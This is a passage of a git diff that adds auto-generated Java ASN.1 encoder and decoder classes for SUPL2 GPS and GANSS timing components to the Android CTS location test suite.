diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
new file mode 100755
index 0000000..cbd70f1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRANGPSDriftRate.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UTRANGPSDriftRate extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ utran_GPSDrift0(0),
+ utran_GPSDrift1(1),
+ utran_GPSDrift2(2),
+ utran_GPSDrift5(3),
+ utran_GPSDrift10(4),
+ utran_GPSDrift15(5),
+ utran_GPSDrift25(6),
+ utran_GPSDrift50(7),
+ utran_GPSDrift_1(8),
+ utran_GPSDrift_2(9),
+ utran_GPSDrift_5(10),
+ utran_GPSDrift_10(11),
+ utran_GPSDrift_15(12),
+ utran_GPSDrift_25(13),
+ utran_GPSDrift_50(14),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_UTRANGPSDriftRate
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRANGPSDriftRate() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRANGPSDriftRate;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRANGPSDriftRate != null) {
+ return ImmutableList.of(TAG_UTRANGPSDriftRate);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new UTRANGPSDriftRate from encoded stream.
+ */
+ public static UTRANGPSDriftRate fromPerUnaligned(byte[] encodedBytes) {
+ UTRANGPSDriftRate result = new UTRANGPSDriftRate();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRANGPSDriftRate from encoded stream.
+ */
+ public static UTRANGPSDriftRate fromPerAligned(byte[] encodedBytes) {
+ UTRANGPSDriftRate result = new UTRANGPSDriftRate();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "UTRANGPSDriftRate = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
new file mode 100755
index 0000000..b5d7911
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GANSSReferenceTime.java
@@ -0,0 +1,1509 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.CellParametersID;
+import android.location.cts.asn1.supl2.ulp_components.PrimaryCPICH_Info;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTRAN_GANSSReferenceTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTRAN_GANSSReferenceTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRAN_GANSSReferenceTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRAN_GANSSReferenceTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRAN_GANSSReferenceTime != null) {
+ return ImmutableList.of(TAG_UTRAN_GANSSReferenceTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRAN_GANSSReferenceTime from encoded stream.
+ */
+ public static UTRAN_GANSSReferenceTime fromPerUnaligned(byte[] encodedBytes) {
+ UTRAN_GANSSReferenceTime result = new UTRAN_GANSSReferenceTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRAN_GANSSReferenceTime from encoded stream.
+ */
+ public static UTRAN_GANSSReferenceTime fromPerAligned(byte[] encodedBytes) {
+ UTRAN_GANSSReferenceTime result = new UTRAN_GANSSReferenceTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GANSSReferenceTime.ganssTODType ganssTOD_;
+ public UTRAN_GANSSReferenceTime.ganssTODType getGanssTOD() {
+ return ganssTOD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTime.ganssTODType
+ */
+ public void setGanssTOD(Asn1Object value) {
+ this.ganssTOD_ = (UTRAN_GANSSReferenceTime.ganssTODType) value;
+ }
+ public UTRAN_GANSSReferenceTime.ganssTODType setGanssTODToNewInstance() {
+ ganssTOD_ = new UTRAN_GANSSReferenceTime.ganssTODType();
+ return ganssTOD_;
+ }
+
+ private UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType utran_GANSSTimingOfCell_;
+ public UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType getUtran_GANSSTimingOfCell() {
+ return utran_GANSSTimingOfCell_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType
+ */
+ public void setUtran_GANSSTimingOfCell(Asn1Object value) {
+ this.utran_GANSSTimingOfCell_ = (UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType) value;
+ }
+ public UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType setUtran_GANSSTimingOfCellToNewInstance() {
+ utran_GANSSTimingOfCell_ = new UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType();
+ return utran_GANSSTimingOfCell_;
+ }
+
+ private UTRAN_GANSSReferenceTime.modeSpecificInfoType modeSpecificInfo_;
+ public UTRAN_GANSSReferenceTime.modeSpecificInfoType getModeSpecificInfo() {
+ return modeSpecificInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTime.modeSpecificInfoType
+ */
+ public void setModeSpecificInfo(Asn1Object value) {
+ this.modeSpecificInfo_ = (UTRAN_GANSSReferenceTime.modeSpecificInfoType) value;
+ }
+ public UTRAN_GANSSReferenceTime.modeSpecificInfoType setModeSpecificInfoToNewInstance() {
+ modeSpecificInfo_ = new UTRAN_GANSSReferenceTime.modeSpecificInfoType();
+ return modeSpecificInfo_;
+ }
+
+ private UTRAN_GANSSReferenceTime.sfnType sfn_;
+ public UTRAN_GANSSReferenceTime.sfnType getSfn() {
+ return sfn_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTime.sfnType
+ */
+ public void setSfn(Asn1Object value) {
+ this.sfn_ = (UTRAN_GANSSReferenceTime.sfnType) value;
+ }
+ public UTRAN_GANSSReferenceTime.sfnType setSfnToNewInstance() {
+ sfn_ = new UTRAN_GANSSReferenceTime.sfnType();
+ return sfn_;
+ }
+
+ private UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType ganss_TODUncertainty_;
+ public UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType getGanss_TODUncertainty() {
+ return ganss_TODUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType
+ */
+ public void setGanss_TODUncertainty(Asn1Object value) {
+ this.ganss_TODUncertainty_ = (UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType) value;
+ }
+ public UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType setGanss_TODUncertaintyToNewInstance() {
+ ganss_TODUncertainty_ = new UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType();
+ return ganss_TODUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTOD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTOD();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTime.ganssTODType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTOD : "
+ + getGanssTOD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GANSSTimingOfCell() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GANSSTimingOfCell();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GANSSTimingOfCellToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTime.utran_GANSSTimingOfCellType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GANSSTimingOfCell : "
+ + getUtran_GANSSTimingOfCell().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getModeSpecificInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModeSpecificInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setModeSpecificInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTime.modeSpecificInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modeSpecificInfo : "
+ + getModeSpecificInfo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSfn() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSfn();
+ }
+
+ @Override public void setToNewInstance() {
+ setSfnToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTime.sfnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sfn : "
+ + getSfn().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_TODUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_TODUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_TODUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GANSSReferenceTime.ganss_TODUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_TODUncertainty : "
+ + getGanss_TODUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssTODType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssTODType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssTODType() {
+ super();
+ setValueRange("0", "86399");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssTODType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssTODType != null) {
+ return ImmutableList.of(TAG_ganssTODType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssTODType from encoded stream.
+ */
+ public static ganssTODType fromPerUnaligned(byte[] encodedBytes) {
+ ganssTODType result = new ganssTODType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssTODType from encoded stream.
+ */
+ public static ganssTODType fromPerAligned(byte[] encodedBytes) {
+ ganssTODType result = new ganssTODType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssTODType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utran_GANSSTimingOfCellType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utran_GANSSTimingOfCellType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utran_GANSSTimingOfCellType() {
+ super();
+ setValueRange("0", "3999999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utran_GANSSTimingOfCellType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utran_GANSSTimingOfCellType != null) {
+ return ImmutableList.of(TAG_utran_GANSSTimingOfCellType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utran_GANSSTimingOfCellType from encoded stream.
+ */
+ public static utran_GANSSTimingOfCellType fromPerUnaligned(byte[] encodedBytes) {
+ utran_GANSSTimingOfCellType result = new utran_GANSSTimingOfCellType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utran_GANSSTimingOfCellType from encoded stream.
+ */
+ public static utran_GANSSTimingOfCellType fromPerAligned(byte[] encodedBytes) {
+ utran_GANSSTimingOfCellType result = new utran_GANSSTimingOfCellType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utran_GANSSTimingOfCellType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modeSpecificInfoType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_modeSpecificInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "modeSpecificInfoType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public modeSpecificInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modeSpecificInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modeSpecificInfoType != null) {
+ return ImmutableList.of(TAG_modeSpecificInfoType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerUnaligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerAligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Fdd(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.fddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.fddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Tdd(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.tddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.tddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class fddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_fddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public fddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_fddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_fddType != null) {
+ return ImmutableList.of(TAG_fddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerUnaligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerAligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrimaryCPICH_Info referenceIdentity_;
+ public PrimaryCPICH_Info getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCPICH_Info
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (PrimaryCPICH_Info) value;
+ }
+ public PrimaryCPICH_Info setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new PrimaryCPICH_Info();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCPICH_Info.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("fddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isFdd() {
+ return !hasExtensionValue() && Select.$Fdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.fddType getFdd() {
+ if (!isFdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Fdd");
+ }
+ return (modeSpecificInfoType.fddType) element;
+ }
+
+ public void setFdd(modeSpecificInfoType.fddType selected) {
+ selection = Select.$Fdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.fddType setFddToNewInstance() {
+ modeSpecificInfoType.fddType element = new modeSpecificInfoType.fddType();
+ setFdd(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class tddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_tddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
